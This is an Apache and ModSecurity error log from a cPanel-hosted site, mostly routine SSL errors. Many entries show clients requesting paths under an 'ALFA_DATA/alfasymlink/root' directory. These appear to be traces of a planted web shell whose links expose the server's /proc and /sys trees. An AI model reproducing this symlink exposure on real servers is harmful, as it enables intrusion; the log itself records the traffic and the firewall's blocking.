[Sat Oct 24 07:25:58.184669 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 100.29.164.178:44966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/module/uevent
[Sat Oct 24 07:26:06.208616 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.212.131.50:20593] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:18.163917 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.200.54.136:56582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:22.132254 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.205.91.101:41806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:30.201172 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.205.163.103:30887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:42.135734 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.213.85.234:12512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:58.143970 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.215.61.66:25967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:26:59.457783 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 85.208.96.201:30544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:02.149041 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 3.224.205.25:19608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/slabs_cpu_partial
[Sat Oct 24 07:27:06.153329 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.45.92.83:6257] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:10.169932 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 52.205.113.104:32579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xen-platform-pci/unbind
[Sat Oct 24 07:27:14.163520 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.94.199.128:24066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:22.213453 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.231.181.240:9160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:22.742673 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.17:31810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/remote_node_defrag_ratio
[Sat Oct 24 07:27:26.304438 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.204.89.56:13897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:30.184005 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.210.114.189:28937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:34.212381 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.83.180.239:52427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:27:58.306373 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.215.49.176:21967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:28:02.325170 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.2.191.202:51174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:28:18.149954 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.203.111.15:27047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:28:34.165902 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.225.45.252:44691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:28:54.138318 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.27.153.9:46395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:29:06.320645 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 44.207.207.36:44937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/uevent
[Sat Oct 24 07:29:22.137749 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.236.41.241:35276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:29:26.332020 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.162.69.192:60320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:29:30.159893 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.4.76.156:61698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:29:42.164108 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.210.29.96:2452] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:02.151009 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.220.2.97:58845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:10.192056 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.255.194:55581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:14.275386 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.159.98.248:57806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:14.275643 2026] [security2:error] [pid 2627309:tid 2627309] [client 54.159.98.248:57806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/topology/cluster_cpus"] [unique_id "atyWxl0Yuvqa3nuKpvNBUQAAAAk"]
[Sat Oct 24 07:30:14.275681 2026] [security2:error] [pid 2627309:tid 2627309] [client 54.159.98.248:57806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/topology/cluster_cpus"] [unique_id "atyWxl0Yuvqa3nuKpvNBUQAAAAk"]
[Sat Oct 24 07:30:18.157316 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.200.142.199:7525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:22.276139 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.206.47.187:21402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:26.140248 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 34.194.165.45:29592] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:30.163134 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.224.215.150:12917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:46.146008 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 23.21.119.232:21708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:30:50.146251 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.89.170.186:15841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:06.134929 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 3.219.80.71:18634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:10.123490 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.216.86.144:20048] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:14.254250 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.215.235.20:21353] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:18.140563 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.3.104.214:23293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:20.256037 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 185.191.171.15:28630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:22.155064 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.90.8.255:9753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:26.138102 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.205.180.155:8610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:34.189014 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.83.56.1:58476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:38.145200 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.229.164.203:53653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:31:46.146947 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.70.138.176:15275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:02.264291 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.54.15.103:34061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:06.158186 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.211.181.86:18332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:14.173628 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.203.65.83:45614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:22.360309 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.233.24.238:53953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:30.140744 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.198.33.233:30974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:32:34.130290 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 52.5.232.250:8346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/custom_divisor
[Sat Oct 24 07:32:40.563534 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.202:55646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/sys/net/core/bpf_jit_harden
[Sat Oct 24 07:32:50.671533 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.204:10786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/slabs_cpu_partial
[Sat Oct 24 07:33:03.635197 2026] [security2:error] [pid 2625330:tid 2625330] [client 185.191.171.1:63530] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/sv/index.db"] [unique_id "atyXb_MnT_rHlxLKOWDmngAAAAc"]
[Sat Oct 24 07:33:03.635650 2026] [security2:error] [pid 2625330:tid 2625330] [client 185.191.171.1:63530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/sv/index.db"] [unique_id "atyXb_MnT_rHlxLKOWDmngAAAAc"]
[Sat Oct 24 07:33:03.636024 2026] [security2:error] [pid 2625330:tid 2625330] [client 185.191.171.1:63530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/sv/index.db"] [unique_id "atyXb_MnT_rHlxLKOWDmngAAAAc"]
[Sat Oct 24 07:33:26.354548 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.147.238.89:10686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:33:38.165069 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 184.73.47.24:18651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:09/eject
[Sat Oct 24 07:33:42.281820 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.235.158.162:51722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:33:46.135573 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.205.170.13:41803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:33:50.267361 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.208.146.193:21536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:33:51.308583 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.207:50904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/slab_size
[Sat Oct 24 07:33:54.154210 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 107.20.224.184:43291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/type
[Sat Oct 24 07:34:02.162372 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 34.234.197.175:42994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/cpu1/subsystem/uevent
[Sat Oct 24 07:34:14.130638 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.84.161.62:24107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:34:18.116231 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 3.220.148.166:56013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:34:26.125791 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.225.181.161:19232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:34:34.130600 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 23.22.105.143:21930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event0/subsystem/input3/device/driver/module/uevent
[Sat Oct 24 07:34:50.165108 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.166.104.83:43511] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:34:58.134968 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.94.156.104:52604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:35:06.146382 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.201.155.215:39236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:35:10.119636 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.194.165.45:34386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:35:25.195054 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.206:32574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/sanity_checks
[Sat Oct 24 07:35:28.957936 2026] [security2:error] [pid 2608731:tid 2608731] [client 85.208.96.197:31292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/128/net/stat/rt_cache"] [unique_id "atyYAPPD_keneTOG9SbiuwAAAAg"]
[Sat Oct 24 07:35:28.958003 2026] [security2:error] [pid 2608731:tid 2608731] [client 85.208.96.197:31292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/128/net/stat/rt_cache"] [unique_id "atyYAPPD_keneTOG9SbiuwAAAAg"]
[Sat Oct 24 07:35:38.169838 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 54.83.180.239:58602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/resource1
[Sat Oct 24 07:35:41.074385 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.16:23564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/order
[Sat Oct 24 07:35:48.357252 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.198:39790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/aliases
[Sat Oct 24 07:35:58.151111 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 52.70.138.176:41636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:36:02.240569 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.73.68.20:29696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:36:18.198055 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.216.227.216:64536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:36:26.153199 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.214.251.19:15629] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/firmware_node/device:05/subsystem/drivers/button/LNXPWRBN:00/driver/unbind
[Sat Oct 24 07:36:34.127250 2026] [security2:error] [pid 2627311:tid 2627311] [client 54.84.102.81:18208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/subsystem/drivers/"] [unique_id "atyYQkWIGyA7zCtes8CJ6gAAAAw"]
[Sat Oct 24 07:36:34.127309 2026] [security2:error] [pid 2627311:tid 2627311] [client 54.84.102.81:18208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/subsystem/drivers/"] [unique_id "atyYQkWIGyA7zCtes8CJ6gAAAAw"]
[Sat Oct 24 07:36:38.134762 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 34.206.249.188:54603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input4/device/driver/serio1/subsystem/drivers/psmouse/unbind
[Sat Oct 24 07:36:50.070616 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.196:21038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/shrink
[Sat Oct 24 07:36:58.137943 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.195.50.71:21749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:06.277301 2026] [security2:error] [pid 2627273:tid 2627273] [client 3.232.82.72:57201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input0/device/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/virtio1/block/vda/vda1/"] [unique_id "atyYYhdOhHN-18IxgZKp5wAAAAY"]
[Sat Oct 24 07:37:06.277368 2026] [security2:error] [pid 2627273:tid 2627273] [client 3.232.82.72:57201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input0/device/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/virtio1/block/vda/vda1/"] [unique_id "atyYYhdOhHN-18IxgZKp5wAAAAY"]
[Sat Oct 24 07:37:14.390932 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.22.64.232:57423] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:22.125363 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.200.54.136:63031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:23.663408 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.14:62744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/sanity_checks
[Sat Oct 24 07:37:26.157853 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 54.162.69.192:61599] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/new_id
[Sat Oct 24 07:37:30.160637 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 3.221.50.71:51065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:34.152579 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.205.91.101:53997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:38.184833 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.225.148.123:32020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:42.174991 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 35.173.18.61:11700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:49.789605 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.203:45520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/destroy_by_rcu
[Sat Oct 24 07:37:50.138966 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.231.45.47:31364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:37:52.245533 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 85.208.96.208:62632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/validate
[Sat Oct 24 07:37:54.144828 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.94.40.182:58338] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:38:11.106665 2026] [security2:error] [pid 2607843:tid 2607843] [client 64.20.54.226:38636] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/9FF85QJ06WX8RSJ0AUT28H2XJ8ZVV1QI"] [unique_id "atyYowSwRuPA-FjBma7IxQAAAAI"]
[Sat Oct 24 07:38:11.106705 2026] [security2:error] [pid 2607843:tid 2607843] [client 64.20.54.226:38636] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "zacson3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/9FF85QJ06WX8RSJ0AUT28H2XJ8ZVV1QI"] [unique_id "atyYowSwRuPA-FjBma7IxQAAAAI"]
[Sat Oct 24 07:38:11.447142 2026] [security2:error] [pid 2627273:tid 2627273] [client 64.20.54.226:38796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/-S-XFLSIA_GODN-K3PXJSSJP_TUKTHX-"] [unique_id "atyYoxdOhHN-18IxgZKp7wAAAAY"]
[Sat Oct 24 07:38:11.447180 2026] [security2:error] [pid 2627273:tid 2627273] [client 64.20.54.226:38796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/-S-XFLSIA_GODN-K3PXJSSJP_TUKTHX-"] [unique_id "atyYoxdOhHN-18IxgZKp7wAAAAY"]
[Sat Oct 24 07:38:14.167091 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.197.102.71:47986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:38:18.123436 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.192.67.98:23075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:38:26.144095 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 34.202.88.37:15948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/driver/unbind
[Sat Oct 24 07:38:30.168256 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.70.138.176:25271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/piix4_smbus/uevent
[Sat Oct 24 07:38:34.209669 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 50.17.193.48:22968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:38:43.757812 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.199:25354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/free_calls
[Sat Oct 24 07:38:58.120936 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.235.158.162:3352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:06.390203 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 107.20.224.184:48282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:39:14.153768 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 35.153.86.200:11664] AH02013: coalesce failed to read from data bucket
